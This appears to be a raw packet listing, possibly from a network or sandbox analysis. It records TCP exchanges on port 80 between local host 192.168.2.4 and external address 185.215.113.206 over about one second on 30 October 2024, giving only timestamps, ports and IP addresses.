Oct 30, 2024 20:13:05.728214025 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.728449106 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.728486061 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.728598118 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.728637934 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.728807926 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.728840113 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.728849888 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.728872061 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.728873014 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.728909969 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.729326010 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.729358912 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.729367971 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.729393005 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.729396105 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.729429960 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.729893923 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.729928017 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.729939938 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.729967117 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.730261087 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.730293989 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.730300903 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.730329990 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.730659008 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.730705023 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.764456987 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.764559984 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.764573097 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.764606953 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.764617920 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.764643908 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.764859915 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.764894009 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.764915943 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.764926910 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.764931917 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.764964104 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.764964104 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.765003920 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.765568972 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.765620947 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.765764952 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.765813112 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.765947104 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.765980959 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.766001940 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.766016960 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.811686039 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.811813116 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.812235117 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.812288046 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.845211983 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.845336914 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.845341921 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.845371008 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.845381975 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.845412970 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.845730066 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.845763922 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.845805883 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.845863104 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.846091032 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.846123934 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.846149921 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.846165895 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.846498013 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.846530914 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.846539021 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.846565008 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.846574068 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.846599102 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.846606970 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.846640110 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.847250938 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.847290039 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.847301960 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.847382069 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.847634077 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.847666979 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.847688913 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.847703934 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.881678104 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.881781101 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.881794930 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.881824017 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.881850004 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.881870031 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.882070065 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.882114887 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.882127047 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.882152081 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.882160902 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.882185936 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.882190943 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.882230043 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.882810116 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.882860899 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.883027077 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.883049011 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.883080006 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.883104086 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.883363962 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.883409023 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.962686062 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.962697029 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.962707043 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.962749958 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.963016987 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.963181973 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.963217974 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.963228941 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.963269949 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.963289022 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.963665009 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.963675976 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.963685989 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.963696957 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.963711023 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.963748932 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.964421988 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.964433908 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.964478970 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.964833021 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.964844942 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.964854956 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.964865923 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.964878082 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.964891911 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.964922905 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.998893023 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.999003887 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.999044895 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.999054909 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.999104977 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.999190092 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.999202967 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.999212027 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.999254942 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.999273062 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.999670029 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.999713898 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:05.999891996 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.999902964 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:05.999950886 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.000123024 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.000134945 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.000144958 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.000169992 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.000188112 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.000636101 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.000648022 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.000653982 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.000699043 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.079840899 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.079910994 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.079968929 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.080004930 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.080044031 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.080060959 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.080388069 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.080421925 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.080451012 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.080485106 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.080674887 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.080708981 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.080746889 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.080746889 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.081156015 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.081188917 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.081221104 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.081223011 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.081248999 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.081274986 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.081671953 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.081705093 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.081737995 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.081738949 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.081756115 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.081773996 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.081789970 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.081830978 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.082506895 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.082544088 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.082598925 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.082598925 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.082765102 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.082796097 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.082819939 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.082854033 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.115858078 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.115931034 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.115940094 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.115951061 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.115993023 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.115993023 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.116189003 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.116200924 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.116238117 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.116266012 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.116570950 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.116627932 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.116667032 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.116713047 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.116889954 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.116899967 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.116910934 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.116940975 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.116972923 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.117449045 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.117500067 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.117592096 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.117650986 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.117830992 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.117841959 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.117892027 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.196841955 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.196908951 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.196902037 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.196921110 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.196975946 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.196975946 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.197268009 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.197310925 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.197351933 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.197388887 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.197633982 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.197643995 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.197654963 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.197665930 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.197675943 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.197727919 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.197727919 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.198189020 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.198237896 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.198303938 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.198348045 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.198545933 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.198556900 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.198568106 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.198580027 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.198596954 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.198626995 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.199214935 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.199232101 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.199242115 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.199255943 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.199259996 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.199280977 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.199307919 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.199976921 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.199997902 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.200189114 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.233067989 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.233119965 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.233191013 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.233223915 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.233261108 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.233284950 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.233526945 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.233560085 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.233577967 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.233596087 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.233607054 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.233633041 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.233639002 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.233674049 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.234306097 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.234338999 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.234357119 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.234374046 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.234402895 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.234407902 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.234420061 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.234447956 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.235101938 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.235136986 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.235162973 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.235193014 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.313990116 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.314059019 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.314066887 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.314078093 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.314122915 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.314353943 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.314366102 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.314414024 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.314703941 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.314755917 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.314810038 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.314821005 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.314830065 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.314856052 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.314903975 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.315318108 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.315329075 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.315339088 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.315349102 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.315373898 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.315403938 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.316116095 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.316127062 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.316142082 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.316154957 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.316164017 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.316200018 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.316231012 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.316976070 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.316988945 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.316998005 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.317008972 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.317020893 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.317030907 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.317061901 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.317092896 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.349797964 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.349878073 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.349931955 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.349965096 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.349992037 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.350014925 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.350183964 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.350219011 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.350239038 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.350275993 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.350527048 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.350583076 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.350660086 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.350713968 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.350827932 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.350857973 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.350879908 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.350902081 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.350908995 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.350941896 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.350964069 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.350999117 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.351392984 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.351428032 CET	80	49730	185.215.113.206	192.168.2.4
